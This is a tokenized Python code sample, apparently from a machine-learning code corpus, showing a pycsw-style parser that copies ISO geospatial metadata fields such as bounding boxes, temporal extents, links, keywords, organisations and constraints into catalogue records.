"geographic", "\\u", "bound", "ing", "\\u", "box_", "._", "east", "\\u", "bound", "\\u", "longitude_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "._", "geographic", "\\u", "bound", "ing", "\\u", "box_", "._", "north", "\\u", "bound", "\\u", "latitude_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Bound", "ing", "Box", "'_", ",_", "util_", "._", "bbox", "2w", "kt", "polygon_", "(_", "tmp_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "#", " ", "coordinate", "s", " ", "are", " ", "corrupted", ",", " ", "do", " ", "not", " ", "include_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Bound", "ing", "Box", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Bound", "ing", "Box", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tempora", "l", " ", "extent_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "data_", ",_", "'", "tempora", "l\\u", "extent", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "data_", "._", "tempora", "l\\u", "extent_", "._", "extent_", "[_", "'", "begin", "'_", "]_", "is_", "not_", "None_", "and_", "data_", "._", "tempora", "l\\u", "extent_", "._", "extent_", "[_", "'", "end", "'_", "]_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Temp", "Extent", "\\u", "begin", "'_", ",_", "data_", "._", "tempora", "l\\u", "extent_", "._", "extent_", "[_", "'", "begin", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Temp", "Extent", "\\u", "end", "'_", ",_", "data_", "._", "tempora", "l\\u", "extent_", "._", "extent_", "[_", "'", "end", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "onli", "ne", " ", "linkage", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "name_", "=_", "description_", "=_", "protocol_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "data_", "._", "onli", "ne", "\\u", "resource_", ",_", "'", "name", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "get", "\\u", "value", "\\u", "by", "\\u", "language_", "(_", "data_", "._", "onli", "ne", "\\u", "resource_", "._", "name_", "._", "pt", "\\u", "group_", ",_", "language_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "data_", "._", "onli", "ne", "\\u", "resource_", ",_", "'", "description", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "description_", "=_", "get", "\\u", "value", "\\u", "by", "\\u", "language_", "(_", "data_", "._", "onli", "ne", "\\u", "resource_", "._", "description_", "._", "pt", "\\u", "group_", ",_", "language_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "linkage", "_", "=_", "get", "\\u", "value", "\\u", "by", "\\u", "language_", "(_", "data_", "._", "onli", "ne", "\\u", "resource_", "._", "linkage", "_", "._", "pt", "\\u", "group_", ",_", "language_", ",_", "'", "url", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tmp_", "=_", "'%", "s", ",\"", "%", "s", "\",", "%", "s", ",%", "s", "'_", "%_", "(_", "name_", ",_", "description_", ",_", "protocol_", ",_", "linkage", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "links_", "._", "append_", "(_", "tmp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "links_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Link", "s", "'_", ",_", "'", "^", "'_", "._", "join_", "(_", "links_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "keywords_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "kw_", "in_", "data_", "._", "keywords_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "keywords_", "._", "append_", "(_", "get", "\\u", "value", "\\u", "by", "\\u", "language_", "(_", "kw_", "._", "keyword_", "._", "pt", "\\u", "group_", ",_", "language_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Key", "words", "'_", ",_", "','_", "._", "join_", "(_", "keywords_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "contacts_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "reco", "bj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "parse", "\\u", "iso_", "(_", "context_", ",_", "repos_", ",_", "ex", "ml_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "ow", "sli", "b_", "._", "iso_", "import_", "MD", "\\u", "Metadata_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "reco", "bj_", "=_", "repos_", "._", "dataset_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "links_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "md_", "=_", "MD", "\\u", "Metadata_", "(_", "ex", "ml_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Identifie", "r", "'_", ",_", "md_", "._", "identifier_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Type", "name", "'_", ",_", "'", "gm", "d", ":", "MD", "\\u", "Meta", "data", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Schema", "'_", ",_", "context_", "._", "namespaces_", "[_", "'", "gm", "d", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Md", "Sou", "rce", "'_", ",_", "'", "local", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Insert", "Date", "'_", ",_", "util_", "._", "get", "\\u", "toda", "y", "\\u", "and", "\\u", "now_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "XML", "'_", ",_", "md_", "._", "xml_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Any", "Text", "'_", ",_", "util_", "._", "get", "\\u", "anyt", "ext_", "(_", "ex", "ml_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Lang", "ua", "ge", "'_", ",_", "md_", "._", "language_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Type", "'_", ",_", "md_", "._", "hierarchy_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Parent", "Identifie", "r", "'_", ",_", "md_", "._", "parent", "identifier_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Date", "'_", ",_", "md_", "._", "dates", "tamp", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Modifie", "d", "'_", ",_", "md_", "._", "dates", "tamp", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Sou", "rce", "'_", ",_", "md_", "._", "dataset", "uri_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "md_", "._", "reference", "system_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "CR", "S", "'_", ",_", "'", "urn", ":", "og", "c", ":", "def", ":", "cr", "s", ":", "EPS", "G", ":", "6.1", "1", ":", "%", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "md_", "._", "reference", "system_", "._", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", ",_", "'", "identifica", "tion", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Tit", "le", "'_", ",_", "md_", "._", "identifica", "tion_", "._", "title_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Alternate", "Tit", "le", "'_", ",_", "md_", "._", "identifica", "tion_", "._", "alternat", "eti", "tle_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Abstract", "'_", ",_", "md_", "._", "identifica", "tion_", "._", "abstract_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Relation", "'_", ",_", "md_", "._", "identifica", "tion_", "._", "aggregation", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", "._", "identifica", "tion_", ",_", "'", "tempora", "lex", "tent", "\\u", "start", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Temp", "Extent", "\\u", "begin", "'_", ",_", "md_", "._", "identifica", "tion_", "._", "tempora", "lex", "tent", "\\u", "start_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", "._", "identifica", "tion_", ",_", "'", "tempora", "lex", "tent", "\\u", "end", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Temp", "Extent", "\\u", "end", "'_", ",_", "md_", "._", "identifica", "tion_", "._", "tempora", "lex", "tent", "\\u", "end_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "md_", "._", "identifica", "tion_", "._", "topic", "category_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Topic", "Cate", "gory", "'_", ",_", "md_", "._", "identifica", "tion_", "._", "topic", "category_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "md_", "._", "identifica", "tion_", "._", "resource", "language_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Reso", "urc", "e", "Lang", "ua", "ge", "'_", ",_", "md_", "._", "identifica", "tion_", "._", "resource", "language_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", "._", "identifica", "tion_", ",_", "'", "bbox", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bbox_", "=_", "md_", "._", "identifica", "tion_", "._", "bbox_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bbox_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "hasattr_", "(_", "md_", "._", "identifica", "tion_", ",_", "'", "keywords", "'_", ")_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "len_", "(_", "md_", "._", "identifica", "tion_", "._", "keywords_", ")_", ">_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "all", "\\u", "keywords_", "=_", "[_", "item_", "for_", "sublist_", "in_", "md_", "._", "identifica", "tion_", "._", "keywords_", "for_", "item_", "in_", "sublist_", "[_", "'", "keywords", "'_", "]_", "if_", "item_", "is_", "not_", "None_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Key", "words", "'_", ",_", "','_", "._", "join_", "(_", "all", "\\u", "keywords_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Key", "word", "Type", "'_", ",_", "md_", "._", "identifica", "tion_", "._", "keywords_", "[_", "0_", "]_", "[_", "'", "type", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "hasattr_", "(_", "md_", "._", "identifica", "tion_", ",_", "'", "creat", "or", "'_", ")_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "len_", "(_", "md_", "._", "identifica", "tion_", "._", "creator_", ")_", ">_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "all", "\\u", "orgs", "_", "=_", "set_", "(_", "[_", "item_", "._", "organization_", "for_", "item_", "in_", "md_", "._", "identifica", "tion_", "._", "creator_", "if_", "hasattr_", "(_", "item_", ",_", "'", "organization", "'_", ")_", "and_", "item_", "._", "organization_", "is_", "not_", "None_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Creat", "or", "'_", ",_", "';'_", "._", "join_", "(_", "all", "\\u", "orgs", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "hasattr_", "(_", "md_", "._", "identifica", "tion_", ",_", "'", "publi", "sher", "'_", ")_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "len_", "(_", "md_", "._", "identifica", "tion_", "._", "publisher_", ")_", ">_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "all", "\\u", "orgs", "_", "=_", "set_", "(_", "[_", "item_", "._", "organization_", "for_", "item_", "in_", "md_", "._", "identifica", "tion_", "._", "publisher_", "if_", "hasattr_", "(_", "item_", ",_", "'", "organization", "'_", ")_", "and_", "item_", "._", "organization_", "is_", "not_", "None_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Publish", "er", "'_", ",_", "';'_", "._", "join_", "(_", "all", "\\u", "orgs", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "hasattr_", "(_", "md_", "._", "identifica", "tion_", ",_", "'", "contributor", "'_", ")_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "len_", "(_", "md_", "._", "identifica", "tion_", "._", "contributor_", ")_", ">_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "all", "\\u", "orgs", "_", "=_", "set_", "(_", "[_", "item_", "._", "organization_", "for_", "item_", "in_", "md_", "._", "identifica", "tion_", "._", "contributor_", "if_", "hasattr_", "(_", "item_", ",_", "'", "organization", "'_", ")_", "and_", "item_", "._", "organization_", "is_", "not_", "None_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Contributor", "'_", ",_", "';'_", "._", "join_", "(_", "all", "\\u", "orgs", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "hasattr_", "(_", "md_", "._", "identifica", "tion_", ",_", "'", "contact", "'_", ")_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "len_", "(_", "md_", "._", "identifica", "tion_", "._", "contact_", ")_", ">_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "all", "\\u", "orgs", "_", "=_", "set_", "(_", "[_", "item_", "._", "organization_", "for_", "item_", "in_", "md_", "._", "identifica", "tion_", "._", "contact_", "if_", "hasattr_", "(_", "item_", ",_", "'", "organization", "'_", ")_", "and_", "item_", "._", "organization_", "is_", "not_", "None_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Organiz", "ation", "Name", "'_", ",_", "';'_", "._", "join_", "(_", "all", "\\u", "orgs", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "md_", "._", "identifica", "tion_", "._", "security", "constraints_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Secur", "it", "y", "Constr", "aint", "s", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "md_", "._", "identifica", "tion_", "._", "security", "constraints_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "md_", "._", "identifica", "tion_", "._", "access", "constraints_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Access", "Constr", "aint", "s", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "md_", "._", "identifica", "tion_", "._", "access", "constraints_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "md_", "._", "identifica", "tion_", "._", "other", "constraints_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Ot", "her", "Constr", "aint", "s", "'_", ",_", "md_", "._", "identifica", "tion_", "._", "other", "constraints_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", "._", "identifica", "tion_", ",_", "'", "date", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "date", "node_", "in_", "md_", "._", "identifica", "tion_", "._", "date_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "date", "node_", "._", "type_", "==_", "'", "revis", "ion", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Revi", "sion", "Date", "'_", ",_", "date", "node_", "._", "date_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "date", "node_", "._", "type_", "==_", "'", "creati", "on", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Creat", "ion", "Date", "'_", ",_", "date", "node_", "._", "date_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "date", "node_", "._", "type_", "==_", "'", "publicat", "ion", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Public", "ation", "Date", "'_", ",_", "date", "node_", "._", "date_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", "._", "identifica", "tion_", ",_", "'", "extent", "'_", ")_", "and_", "hasattr_", "(_", "md_", "._", "identifica", "tion_", "._", "extent_", ",_", "'", "description", "\\u", "code", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Geo", "graphic", "Descripti", "on", "Code", "'_", ",_", "md_", "._", "identifica", "tion_", "._", "extent_", "._", "description", "\\u", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "md_", "._", "identifica", "tion_", "._", "denominator", "s_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Den", "omin", "ator", "'_", ",_", "md_", "._", "identifica", "tion_", "._", "denominator", "s_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "md_", "._", "identifica", "tion_", "._", "distance_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Distan", "ce", "Value", "'_", ",_", "md_", "._", "identifica", "tion_", "._", "distance_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "md_", "._", "identifica", "tion_", "._", "uo", "m_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Distan", "ce", "UO", "M", "'_", ",_", "md_", "._", "identifica", "tion_", "._", "uo", "m_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "md_", "._", "identifica", "tion_", "._", "classification_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Classificat", "ion", "'_", ",_", "md_", "._", "identifica", "tion_", "._", "classification_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "md_", "._", "identifica", "tion_", "._", "usel", "imit", "ation_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Cond", "ition", "Apply", "ing", "To", "Access", "And", "Us", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "md_", "._", "identifica", "tion_", "._", "usel", "imit", "ation_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "md_", "._", "identifica", "tion_", ",_", "'", "format", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "set_", "(_", "context_", ",_", "reco", "bj_", ",_", "'", "pyc", "sw", ":", "Format", "'_", ",_", "md_", "._", "distribution_", "._", "format_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "md_", "._", "service", "identifica", "tion_", "is_", "not_", "None_", ":_", 